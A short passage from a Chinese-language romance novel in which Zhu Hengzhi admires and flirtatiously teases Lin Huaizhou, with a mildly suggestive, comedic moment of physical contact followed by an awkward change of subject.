继续往下看,盈盈可握的腰往前凹进,脊尾突然扬起一个柔和而不失弧度的线条,如两颗饱满的秋日蜜果,又如平静的海面忽而翘起一阵优美浪潮。 祝珩之看得有点愣,当他意识到口干舌燥时,自己都不知道喉结滑动了几次。 他鬼使神差地俯身咬耳朵,胯部恶意往前一顶。“这位美人儿,你长得很像我一位故友,贵姓啊?” 他们两个身高大差不差,前面对着后面,林淮舟登时不自觉发出一声不可妙言的气息。 两人身形齐齐一滞。 祝珩之率先反应过来,见其耳尖染红,手中帕子已经被怒气腌成咸菜干,他当即心下一咯噔,尴尬地啊一声,指着不远处有几团泥浆人脸在争抢一只臭袜子,若无其事道:“这些玩意儿到底是什么啊?哈哈。”